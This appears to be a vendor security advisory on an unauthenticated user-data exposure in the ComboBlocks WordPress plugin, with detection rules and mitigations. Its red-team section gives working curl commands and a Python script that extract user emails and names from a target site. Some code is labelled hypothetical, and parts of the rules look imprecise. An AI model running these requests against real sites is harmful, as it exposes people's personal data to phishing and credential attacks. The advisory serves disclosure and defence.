CVE-2024-13796

Executive Summary

CVE-2024-13796 is a Sensitive Information Exposure vulnerability in the Post Grid and Gutenberg Blocks – ComboBlocks WordPress plugin, affecting all versions up to and including 2.3.6. The vulnerability resides in the /wp-json/post-grid/v2/get_users REST API endpoint, which is accessible without authentication. An unauthenticated attacker can exploit this endpoint to extract sensitive user data, including email addresses and other personally identifiable information (PII). This exposure can facilitate targeted phishing campaigns, credential stuffing, and further reconnaissance against the WordPress site.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The ComboBlocks plugin is distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the plugin vendor and apply patches as soon as they become available. Since the patch status is currently unknown, site administrators should consider disabling the vulnerable endpoint or implementing additional access controls.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (email and user data exposure)
• Integrity Impact: None
• Availability Impact: None

The vulnerability is rated Medium due to the low confidentiality impact and the lack of authentication required. However, the exposure of email addresses can be leveraged for high-impact social engineering attacks.

Deep Dive & Mechanics

The ComboBlocks plugin registers a custom REST API endpoint at /wp-json/post-grid/v2/get_users. This endpoint is intended to retrieve user data for internal plugin functionality, but it lacks proper authorization checks. The endpoint returns a JSON response containing user objects with fields such as user_email, display_name, ID, and potentially other metadata.

The vulnerability is a classic case of Insecure Direct Object Reference (IDOR) combined with Missing Authentication. The REST API route is registered using register_rest_route() without a permission_callback or with a callback that always returns true. This allows any unauthenticated HTTP request to access the endpoint.

Root Cause: The plugin fails to validate that the requesting user is authenticated and authorized to access user data. The endpoint likely uses get_users() from WordPress core, which returns all users when no arguments are provided.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.3.6):

add_action('rest_api_init', function () {
    register_rest_route('post-grid/v2', '/get_users', array(
        'methods' => 'GET',
        'callback' => 'post_grid_get_users_callback',
        // Missing 'permission_callback' => '__return_true' or proper check
    ));
});

function post_grid_get_users_callback($request) {
    $users = get_users(); // Returns all users
    $data = array();
    foreach ($users as $user) {
        $data[] = array(
            'ID' => $user->ID,
            'user_email' => $user->user_email,
            'display_name' => $user->display_name,
        );
    }
    return new WP_REST_Response($data, 200);
}

Patched Code (Hypothetical):

add_action('rest_api_init', function () {
    register_rest_route('post-grid/v2', '/get_users', array(
        'methods' => 'GET',
        'callback' => 'post_grid_get_users_callback',
        'permission_callback' => function () {
            return current_user_can('edit_posts'); // Require editor or higher
        }
    ));
});

function post_grid_get_users_callback($request) {
    // Additional validation
    if (!current_user_can('list_users')) {
        return new WP_Error('rest_forbidden', 'You do not have permission.', array('status' => 403));
    }
    $users = get_users();
    // ... rest of the code
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with ComboBlocks plugin <= 2.3.6 installed and active.
• No authentication required.

Exploitation Steps:

1. Identify the endpoint: Use a simple HTTP request to confirm the vulnerability.

   curl -s "https://target.com/wp-json/post-grid/v2/get_users" | jq .
   

2. Extract user data: The response will contain an array of user objects with email addresses.

   curl -s "https://target.com/wp-json/post-grid/v2/get_users" | jq '.[].user_email'
   

3. Automate extraction: Use a script to parse and save the data.

   import requests
   import json
   
   url = "https://target.com/wp-json/post-grid/v2/get_users"
   response = requests.get(url)
   if response.status_code == 200:
       users = response.json()
       for user in users:
           print(f"ID: {user['ID']}, Email: {user['user_email']}, Name: {user['display_name']}")
   

Expected Output:

[
    {"ID": 1, "user_email": "admin@example.com", "display_name": "Admin"},
    {"ID": 2, "user_email": "editor@example.com", "display_name": "Editor"}
]

Blue Team

Detection Steps:

1. Monitor REST API access logs: Look for requests to /wp-json/post-grid/v2/get_users from unauthenticated sources.
2. Check for unusual data exfiltration: Large numbers of requests to this endpoint may indicate automated scraping.
3. Review plugin version: Ensure ComboBlocks is not running version 2.3.6 or earlier.
4. Implement WAF rules: Block access to the vulnerable endpoint for unauthenticated users.

Mitigation Workaround:

• Disable the REST API endpoint by adding a filter in the theme's functions.php:

  add_filter('rest_endpoints', function($endpoints) {
      if (isset($endpoints['post-grid/v2/get_users'])) {
          unset($endpoints['post-grid/v2/get_users']);
      }
      return $endpoints;
  });
  

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /wp-json/post-grid/v2/get_users
  • User-Agent strings commonly used by scraping tools (e.g., python-requests, curl)
  • Source IPs making repeated requests to the endpoint

• File IOCs:

  • Plugin file: /wp-content/plugins/post-grid-and-gutenberg-blocks/ (check version in readme.txt)
  • Log entries in web server access logs containing the endpoint path

• Behavioral IOCs:

  • Unusual spikes in API requests from a single IP
  • Access to the endpoint without a valid WordPress nonce or authentication cookie

Detection Engineering

YARA Rule

rule CVE_2024_13796_ComboBlocks_InfoLeak {
    meta:
        description = "Detects exploitation attempts of CVE-2024-13796 in ComboBlocks plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-13796"
    strings:
        $endpoint = "/wp-json/post-grid/v2/get_users"
        $user_email = "user_email"
        $display_name = "display_name"
    condition:
        $endpoint and ($user_email or $display_name)
}

Sigma Rule

title: CVE-2024-13796 - ComboBlocks Sensitive Information Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to the ComboBlocks get_users REST API endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/wp-json/post-grid/v2/get_users'
    condition: selection
falsepositives:
    - Legitimate plugin functionality if authentication is added later
level: high

Suricata Rule

alert http any any -> $EXTERNAL_NET any (
    msg:"CVE-2024-13796 - ComboBlocks Sensitive Information Exposure";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/wp-json/post-grid/v2/get_users";
    http_uri;
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
    reference:cve,2024-13796;
)

Remediation & Mitigation

1. Immediate Action: Disable the ComboBlocks plugin until a patch is released.
2. Workaround: Add a custom filter to remove the vulnerable endpoint (see Blue Team section).
3. Long-term Fix: The vendor must implement proper authentication and authorization checks on the REST API endpoint. Specifically, add a permission_callback that verifies the user has at least edit_posts capability.
4. Monitoring: Enable logging for REST API requests and set up alerts for the vulnerable endpoint.
5. User Awareness: Notify users whose data may have been exposed and advise them to be vigilant against phishing.

Valters IT
Securing Digital Frontiers